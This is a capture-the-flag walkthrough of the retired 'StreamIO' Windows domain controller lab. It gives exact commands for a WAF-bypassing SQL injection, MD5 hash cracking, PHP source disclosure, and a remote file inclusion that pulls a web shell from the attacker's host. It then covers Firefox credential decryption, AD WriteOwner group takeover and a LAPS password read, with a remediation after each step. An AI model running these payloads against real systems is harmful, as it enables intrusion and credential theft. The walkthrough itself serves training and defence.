← all walkthroughs

StreamIO

Windows· Medium· Web
owned
2026-09-04
time to own
49m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the StreamIO domain controller's web front end through its TLS certificate, then found a UNION-based SQL injection in the movie search feature that let them bypass a keyword-blacklist WAF and dump the application's user table, including password hashes. Cracking those hashes yielded valid credentials for the admin panel, where a hidden debug parameter leaked PHP source code and revealed a remote-file-inclusion sink that gave code execution as a low-privileged domain user.

From that foothold, hardcoded database credentials in the application source unlocked a backup database holding another user's crackable password hash, and that user's saved Firefox browser credentials in turn exposed a third account. That account held a dangerous Active Directory ACL (WriteOwner) over a privileged group, which was abused to grant myself membership and, through that group's delegated LAPS-read permission, retrieve the domain controller's local Administrator password in cleartext — completing full domain compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD13="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"
export PASSWORD9="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual host discovery via TLS certificate SAN enumeration
Identified the domain controller's web application and virtual hosts
Port scanning showed a Windows Active Directory domain controller (Kerberos, LDAP, SMB, WinRM) also running Microsoft IIS 10.0 with PHP 7.2.26. The HTTPS certificate's Subject Alternative Names revealed two virtual hosts, streamio.htb and watch.streamio.htb, plus the DC hostname dc.streamio.htb, which were added to local DNS resolution to reach the correct sites.
IIS/10.0 + PHP/7.2.26 banners observed on 443; login.php served for streamio.htb.
Exact commands 2
Read the cert SAN to discover streamio.htb / watch.streamio.htb / dc.streamio.htb.
openssl s_client -connect $TARGET:443 -servername streamio.htb </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'
Map the discovered vhosts to the target IP for browsing.
echo "$TARGET streamio.htb watch.streamio.htb dc.streamio.htb" | sudo tee -a /etc/hosts
2Initial AccessSQL Injection — UNION-based, WAF keyword-blacklist bypass (CWE-89)
Exploited a UNION-based SQL injection in the movie search feature
The watch.streamio.htb search feature passed the 'q' parameter into a backend MSSQL query ('select * from movies where title like %q%') without sanitization. A keyword-blacklist WAF blocked common tokens like 0x, all, and order by, but hand-crafted UNION SELECT payloads avoiding those tokens still executed, letting me enumerate the STREAMIO database and dump the dbo.users table, including MD5 password hashes for roughly 13 accounts.
Sys.databases enumeration returned database STREAMIO; STREAMIO.dbo.users UNION dump returned usernames and MD5 hashes.
Exact commands 2
Confirm column count (6) for the UNION injection while dodging blocked keywords.
curl -sk 'https://watch.streamio.htb/search.php' --data-urlencode "q=abcd' union select 1,2,3,4,5,6-- -"
Dump usernames and MD5 password hashes from the users table.
curl -sk 'https://watch.streamio.htb/search.php' --data-urlencode "q=abcd' union select 1,username,password,4,5,6 from streamio.dbo.users-- -"
FixFix SQL injection in the movie search endpointCritical
WeaknessThe search.php 'q' parameter was concatenated directly into an MSSQL query, and the deployed defense was a keyword-blacklist WAF rather than a real fix — unauthorised users simply avoided the blocked keywords and still injected a working UNION SELECT.
FixRewrite all database queries to use parameterized queries / prepared statements (e.g. PDO with bound parameters) so user input is never concatenated into SQL. Do not rely on keyword-blacklist WAF rules as the primary control; a properly parameterized query makes the injection impossible regardless of input content.
3Credential AccessOffline password hash cracking (T1110.002)
Cracked the dumped MD5 password hashes
The MD5 hashes recovered from the SQL injection were run through hashcat against a common wordlist, recovering plaintext credentials for the accounts yoshihide and admin.
Cracked yoshihide:[REDACTED: recovered credential] and admin:[REDACTED: recovered credential]
Exact commands 1
Crack MD5 hashes; recovers yoshihide and admin plaintext passwords.
hashcat -m 0 -a 0 streamio_hashes.txt rockyou.txt
FixUse strong password hashing and enforce a stronger password policyHigh
WeaknessUser passwords were stored as unsalted MD5 hashes and were weak enough to crack quickly with a common wordlist, turning a data leak into working credentials within minutes.
FixStore credentials using a slow, salted hashing algorithm (bcrypt, scrypt, or Argon2) instead of MD5, and enforce a minimum password complexity/length policy with breached-password screening (e.g. against Have I Been Pwned) at account creation.
4ExploitationLocal File Inclusion via php://filter source disclosure (CWE-98)
Logged into the admin panel and read application source via a hidden debug parameter
The admin:[REDACTED: recovered credential] credentials logged into streamio.htb/admin/. Parameter fuzzing against the admin panel uncovered an undocumented 'debug' GET parameter that echoed the contents of arbitrary PHP files. Requesting it with a php://filter base64 wrapper dumped the raw source of master.php, revealing a dangerous sink: eval(file_get_contents($_POST['include'])) whenever the posted 'include' value was not literally "index.php".
?debug=php://filter/convert.base64-encode/resource=master.php returned base64 source showing eval(file_get_contents($_POST['include'])).
Exact commands 3
Authenticate to the admin panel.
curl -sk -c cookies.txt -b cookies.txt 'https://streamio.htb/login.php' --data-urlencode 'username=admin' --data-urlencode 'password=$PASSWORD13'
Fuzz GET parameters on the admin panel; finds the hidden 'debug' param.
ffuf -u 'https://streamio.htb/admin/index.php?FUZZ=x' -b cookies.txt -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all
Read master.php source via the LFI/filter wrapper; reveals the eval(file_get_contents()) sink.
curl -sk -b cookies.txt 'https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php' | base64 -d
FixRemove the debug parameter and restrict file-read functionality in productionHigh
WeaknessAn undocumented 'debug' parameter on the admin panel let any authenticated admin session read arbitrary application files, including PHP source, via a php://filter wrapper — leaking the application's internal logic and vulnerable code paths.
FixRemove debug/file-preview functionality entirely from the production build, or gate it behind a build-time flag that is off in production. Never pass user-controlled input into file-inclusion or filter-wrapper functions; if a preview feature is required, whitelist specific known-safe files by name, not by path.
5ExploitationPHP Remote File Inclusion → Remote Code Execution (T1190)
Achieved remote code execution via HTTP-based Remote File Inclusion
Because allow_url_fopen was enabled by default, the eval(file_get_contents($_POST['include'])) sink accepted a remote HTTP URL, making it a Remote File Inclusion despite allow_url_include being off. Hosting a PHP web shell on my own web server and posting its URL as 'include' caused the target to fetch and eval() it, executing arbitrary commands as the streamio\yoshihide service account and enabling a full reverse shell.
Streamio\yoshihide returned from whoami in the resulting session.
Exact commands 2
Serve shell.php (<?php system($_GET['c']); ?>) as plain text from my box.
python3 -m http.server 80
Trigger the RFI; eval()s the remote shell.php and runs 'whoami'. Replace $ATTACKER_IP with my tun0 IP.
curl -sk 'https://streamio.htb/admin/?debug=master.php' -b cookies.txt --data "include=http://$ATTACKER_IP/shell.php" -G --data-urlencode 'c=whoami'
FixEliminate the eval(file_get_contents()) code-execution sinkCritical
Weaknessmaster.php passed a user-controlled 'include' value into eval(file_get_contents($_POST['include'])). Because allow_url_fopen was enabled, this accepted a remote HTTP URL and executed whatever code it returned — a full Remote File Inclusion RCE despite allow_url_include being disabled.
FixRemove eval()/file_get_contents() on user-supplied paths entirely; if dynamic includes are required, use a strict allowlist of local filenames with no path traversal, and never eval() fetched content. Additionally set allow_url_fopen = Off in php.ini as defense in depth.
6Lateral MovementHardcoded credential exposure in application source (CWE-798) leading to lateral movement
Recovered backup-database credentials and pivoted to the nikk37 account
From the yoshihide shell, the application's own configuration files (admin\index.php and watch\search.php) contained hardcoded MSSQL credentials, including a db_admin account. Those credentials were used to query a separate streamio_backup database directly, which held another user table with a crackable password hash for nikk37. The cracked credentials logged in over WinRM, providing an interactive foothold and access to user.txt.
Db_admin:[REDACTED: recovered credential] found in admin\index.php; nikk37 hash [REDACTED: recovered credential] cracked to [REDACTED: recovered credential] user.txt read from C:\Users\nikk37\Desktop.
Exact commands 5
From the yoshihide shell — locate the hardcoded db_admin credential.
type C:\inetpub\wwwroot\admin\index.php
Query the backup database directly for the full user table (or use impacket-mssqlclient).
sqlcmd -S localhost -U db_admin -P '$PASSWORD9' -d streamio_backup -Q "select * from users"
Crack nikk37's hash -> [REDACTED: recovered credential]
hashcat -m 0 -a 0 nikk37_hash.txt rockyou.txt
Log in as nikk37; run whoami to prove access, then read the flag.
evil-winrm -i $TARGET -u nikk37 -p '$PASSWORD7'
Replace with <user.txt> when reporting.
type C:\Users\nikk37\Desktop\user.txt
FixRemove hardcoded database credentials from application sourceHigh
WeaknessMSSQL credentials for a privileged db_admin account were hardcoded in plaintext inside the web application's PHP source files, letting anyone with code execution on the host read them and pivot directly into a backup database of user credentials.
FixMove all database credentials out of source code into environment variables or a secrets manager (e.g. Azure Key Vault, HashiCorp Vault), rotate the exposed db_admin password, and apply least-privilege database accounts scoped to only the tables each application component needs.
7Credential AccessCredentials from Web Browsers — Firefox profile decryption (T1555.003)
Extracted saved Firefox credentials to obtain the JDgodd account
Nikk37's profile had a Firefox browser with saved logins. The encrypted key4.db and logins.json files were pulled from the profile directory and decrypted offline, revealing plaintext credentials for the JDgodd domain account.
Decrypted JDgodd : [REDACTED: recovered credential] validated against SMB.
Exact commands 3
Run from the evil-winrm session; also download logins.json from the same profile directory.
download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\key4.db
Decrypt the Firefox saved logins on my box (firepwd.py from the firepwd project).
python3 firepwd.py -d /path/to/profile_dir
Validate the recovered credential against the domain controller.
nxc smb dc.streamio.htb -u JDgodd -p '$PASSWORD8'
FixPrevent browsers from persisting saved passwords for domain accountsMedium
WeaknessThe nikk37 user's Firefox profile stored saved website logins locally; once an unauthorised user gained file access to that profile, the key4.db/logins.json pair could be decrypted offline to recover another account's plaintext password.
FixDisable browser password saving via Group Policy (Firefox: signon.rememberSignons=false, or the enterprise policy.json 'PasswordManagerEnabled': false) on domain-joined hosts, and require a password manager with master-password protection instead. Rotate any credentials found stored in browsers.
8Privilege EscalationActive Directory ACL Abuse — WriteOwner / GenericAll group takeover (T1484.001)
Abused an Active Directory ACL to join a privileged group
BloodHound analysis showed JDgodd held WriteOwner over the 'CORE STAFF' group, which itself was delegated ReadLAPSPassword rights on the domain controller's computer object. My took ownership of the group, granted myself full control (GenericAll) via the DACL, and added JDgodd as a member — turning an unrelated ACL misconfiguration into membership in a group with sensitive read rights.
BloodHound path: JDgodd -[WriteOwner]-> CORE STAFF -[ReadLAPSPassword]-> DC computer object.
Exact commands 4
Collect AD data and identify the WriteOwner -> CORE STAFF -> ReadLAPSPassword path.
bloodhound-python -c All -u jdgodd -p '$PASSWORD8' -d streamio.htb -ns $TARGET -dc dc.streamio.htb
Take ownership of the CORE STAFF group.
bloodyAD -u jdgodd -p '$PASSWORD8' -d streamio.htb --host dc.streamio.htb set owner 'CORE STAFF' jdgodd
Grant self full control (DACL) over the group.
bloodyAD -u jdgodd -p '$PASSWORD8' -d streamio.htb --host dc.streamio.htb add genericAll 'CORE STAFF' jdgodd
Add jdgodd as a member of CORE STAFF.
bloodyAD -u jdgodd -p '$PASSWORD8' -d streamio.htb --host dc.streamio.htb add groupMember 'CORE STAFF' jdgodd
FixRemove excessive WriteOwner/GenericAll rights on the CORE STAFF groupCritical
WeaknessA standard domain user (JDgodd) held WriteOwner over the CORE STAFF security group, letting them take ownership, grant themselves full control, and add themselves as a member — completely bypassing the group's intended membership controls.
FixAudit AD ACLs with BloodHound and remove WriteOwner/GenericAll/GenericWrite grants on privileged or sensitive groups from any non-Tier-0 account. Apply a tiered administration model so only dedicated admin accounts can modify group membership or ownership of privileged groups.
9Privilege EscalationLAPS Password Disclosure via delegated ReadLAPSPassword (T1552.001)
Read the LAPS-managed local Administrator password and captured root.txt
As a member of CORE STAFF (after re-authenticating for a token carrying the new group membership), I queried the domain controller's ms-Mcs-AdmPwd LDAP attribute, which the delegated ReadLAPSPassword right exposed in cleartext. This LAPS-managed local Administrator password was used to open a privileged WinRM session on the domain controller, confirmed via whoami, and used to read root.txt.
Nxc ldap ... -M laps printed the cleartext local Administrator password; whoami in the resulting session confirmed Administrator; root.txt read from C:\Users\Martin\Desktop.
Exact commands 4
Read the cleartext LAPS local Administrator password (re-authenticate first so the new CORE STAFF membership is reflected).
nxc ldap dc.streamio.htb -u jdgodd -p '$PASSWORD8' -M laps
Log in as the local Administrator using the LAPS-disclosed password.
evil-winrm -i $TARGET -u administrator -p '<LAPS-password>'
Prove Administrator-level access before reading the flag.
whoami
Replace output with <root.txt> when reporting.
type C:\Users\Martin\Desktop\root.txt
FixRestrict the ReadLAPSPassword delegation on the domain controllerCritical
WeaknessThe CORE STAFF group was delegated ReadLAPSPassword rights on the domain controller's computer object, so any member of that group (including a member added via the ACL abuse above) could read the LAPS-managed local Administrator password in cleartext.
FixRestrict ms-Mcs-AdmPwd / ReadLAPSPassword read rights to a small, dedicated Tier-0 admin group only, and remove the delegation from CORE STAFF. Review all LAPS ACL delegations domain-wide and enable LAPS password history/rotation auditing.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
443/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
5985/tcp
9389/tcp
49667/tcp
49677/tcp
49678/tcp
49704/tcp
57885/tcp
53/udp